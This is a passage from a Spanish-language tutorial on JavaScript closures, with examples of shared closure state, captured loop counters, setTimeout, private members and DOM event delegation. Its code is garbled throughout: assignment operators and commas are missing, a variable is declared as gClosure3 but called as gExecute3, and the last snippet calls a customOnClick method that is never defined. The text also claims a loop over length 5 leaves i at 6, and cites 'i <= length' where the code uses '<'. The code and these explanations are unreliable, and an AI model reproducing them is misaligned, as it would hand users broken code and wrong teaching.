        
gExecute2();
        
gExecute3();

Piense el lector por un momento cuál será la salida de este script. Efectivamente, la salida son tres mensajes seguidos con el texto "¡¡Toma ya!!". Notar que las tres funciones internas mantienen una referencia al mismo valor, es decir, las tres variables globales pertenecen al mismo closure. De hecho, este podría ser el caso del esquema que  hemos visto en la imagen cuando hablábamos de como se crean los closures. Pero compliquemos el código un poco.

        var gExecute1 = null;
        var 
gExecute2 = null;
        var 
gExecute3 = null;

        function 
createClosure()
        {
            
var num 10;
            
gExecute1 = function () { alert(num)};
 
            
gExecute2 = function () { alert(++num)};
 
            
gClosure3 = function () { alert(num "¡¡Toma ya!!!")};
        
}

        createClosure()
;
        
gExecute1();  // Ejecuta el código: function () { alert(num); }; --> Muestra en pantalla: 10
        
gExecute2();  // Ejecuta el código: function () { alert(++num); }; --> Muestra en pantalla: 11
        
gExecute3();  // Ejecuta el código: function () { alert(num = "¡¡Toma ya!!!"); }; --> Muestra en pantalla: ¡¡Toma ya!!!
        
        //¿Qué mostrará ahora la siguiente linea de código...?
        
gExecute1();

Si volvemos a ejecutar el código de la función gExecute1() obtenemos el mensaje "¡¡Toma ya!!". Esto es totalmente lógico porque esta función tiene una referencia al mismo closure que gExecute3() que fue la última función en modificar el closure que comparten.

 

Todo variable puede pertenecer al closure

Debemos tener en cuenta que todo tipo de variable que se declare dentro del ámbito de la función externa y sea utilizada por la función anidada pertenecerá al closure. Esto puede dar algunos resultados inesperados por creación de closures no previstos. Por ejemplo, cuando ejecutamos bucles debemos prestar atención si dentro de la función interna utilizamos la variable contador del bucle, esta es a todos los efectos una variable local de la función externa y por lo tanto pertenecerá al closure.

        function testLoop(length)
        {
            
var list = new Array();

            for 
(var 0i <lengthi++) {

                list[i] 
"Item" + i;
            
}

            
return function () {
                
alert("i = " + i
                       + 
"\n" +
                       
"list[" + i + "] = " + list[i]);
            
};
        
}

        
var execute testLoop(5);
        
execute();

        
/*
        ---Salida del programa---

          i = 6;
          list[6] = undefined

        */

Como podemos observar el contador también pertenece al closure y está disponible para la función interna fuera del ámbito de la función externa. Además, y aquí es cuando tenemos que tener cuidado, el último valor para esta variable es 6 porqué el bucle ejecuta una vez más la instrucción i++ para luego realizar la comprobación i <= length y salir del bucle.

 

Aplicaciones prácticas

Ahora que seguramente que ya hemos entendido como se comportan los closures pasemos a algo más práctico. En seguida vamos a ver algunos ejemplos donde podemos comprobar en el campo de batalla la potencia de esta característica del lenguaje. Tenga el lector en cuenta que aplicaciones sobre este concepto pueden haber tantas como las necesidades o imaginación de los programadores, aquí veremos solo algunas.

 

Ejecutar funciones retardadas

Quizás este sea el ejemplo práctico más clásico y que el lector seguramente ya conocerá. En ocasiones en nuestro código JavaScript podemos necesitar realizar operaciones con retardo, para ello JavaScript nos provee de las funciones setTimeout() y setInterval().

Normalmente llamaremos a estas funciones pasándole como parámetros el nombre de la función a ejecutar y el tiempo de retardo en milisegundos. El problema a resolver es que sucede si la función que queremos ejecutar con retardo toma uno o más parámetros. En principio no tenemos forma de pasarle los parámetros a nuestra función dado que setTimeout() y setInterval() solo admiten el nombre de la función como primer parámetro. Esto es fácil de resolver con un closure.

        function additionNumber(a, b)
        {
            
return function () { alert(a + " + " + b + " = " + (a + b))};
        
}


        
var execute additionNumber(1040);

        
setTimeout(execute, 3000);  //Después de 3 segundos se muestra en pantalla: 10 + 40 = 50

 

Acceso desde miembros privados a miembros públicos

En un artículo anterior cuando hablamos de las funciones constructoras comentamos que desde los métodos privados no podíamos tener acceso a las propiedades públicas del objeto creado. Retomando el ejemplo de código que vimos en aquel artículo veamos como saltarnos este pequeño escollo.

        function Constructor(msjPrivado, msjPublico) {

            
var propiedadPrivada msjPrivado;
            this
.propiedadPublica msjPublico;

            var 
that = this; /*
                                La variable 'that' será guardada en el closure para ser 
                                utilizada en su momento por la función metodoPrivado()
                              */

            
var metodoPrivado = function () {
                
alert(propiedadPrivada);
                alert
(that.propiedadPublica);
            
};

            this
.metodoPublico = function () {
                 metodoPrivado()
;
            
};
        
}


        
var obj = new Constructor("mensaje privado""mensaje público");

        
obj.metodoPublico()/*
                                Muestra en pantalla dos mensajes seguidos:
                                mensaje privado
                                mensaje público
                            */

Personalizar eventos para objetos determinados del DOM

Supongamos que queremos encapsular en objetos del DOM la típica funcionalidad para cuando el ratón se posiciona sobre un elemento HTML y este cambie el texto de color y el estilo del puntero, cuando el ratón abandone el elemento, el texto y puntero vuelven a su estado anterior.

        //Asocia un objeto a un evento personalizado
        
function funcDelegate(obj, methodName) {
            
// {1}
            
return function (e) {
                e 
e || window.event;
                return 
obj[methodName](this, e)// {2}
            
};
        
}

        
//Crea un objeto y enlaza los eventos del DOM con los eventos personalizados
        
function DOMObject(id) {
            
this._element = document.getElementById(id);

            if 
(this._element) {
                
// {3}
                
this._element.onmouseover funcDelegate(this"customOnMouseOver")// {4}
                
this._element.onmouseout funcDelegate(this"customOnMouseOut");
            
}
        }

        
//Definimos el código de nuestros eventos personalizados
        
DOMObject.prototype.customOnMouseOver = function (obj, event) {
            obj.style.cursor 
"pointer";
            
obj.style.color "red";
        
};

        
DOMObject.prototype.customOnMouseOut = function (obj, event) {
            obj.style.cursor 
"pointer";
            
obj.style.color "black";
        
};

        
//Ahora podemos activar todo este mecanísmo para distintos elementos de nuestra página
        
var myDiv = new DOMObject("aDiv");
        var 
myButton = new DOMObject("aButton");
  1. Aquí es donde se produce el closure. Como se puede apreciar la función interna guardará una referencia a un objeto pasado como parámetro y al nombre de una función que en este caso será el nombre de nuestro evento personalizado. Nótese una vez más, aquí simplemente se está creando el closure y devolviendo un código, que será ejecutado más tarde, parecido al siguiente: objeto.eventoPersonalizado(elementoHTML, eventoDOM);. Aunque este código se ejecute después, la función seguirá teniendo acceso al objeto y al valor de la cadena que representa el nombre del evento.
  2. Aunque la palabra reservada this pueda parecer que se utiliza aquí, recordemos que en este momento solo se crea el closure y se devuelve un código que será ejecutado a posteriori. En el momento de ejecutarte este código, cuando un evento del DOM se dispare (ej: onclick), this hará referencia al elemento HTML que dispara el evento del DOM.
  3. En este momento asignamos a los eventos del DOM que nos interese el código devuelto por funcDelegate. Lo hemos mencionado antes, este código será del estilo: objeto.eventoPersonalizado(elementoHTML, eventoDOM);. Por lo tanto cuando se dispare un evento del DOM, como el onclick, estaremos llamando a una función que hace las veces de nuestro evento personalizado.
  4. Aquí this hace referencia al objeto creado con la función constructora DOMObject(id).

Seguramente el lector conozca otras formas más sencillas por medio de llamadas sucesivas a funciones de implementar el mismo comportamiento. La ventaja de hacerlo de esta forma es que estamos encapsulando la funcionalidad con los propios objetos del DOM, lo que nos proporciona más robustez y mantenibilidad del código y además nos permite disparar los eventos personalizados cuando lo necesitemos en nuestro código.

        var myDiv = new DOMObject("aDiv");

        
myDiv.customOnClick(myDiv._element, null);

 

Referencia

Recent Comments

Comment RSS

Month List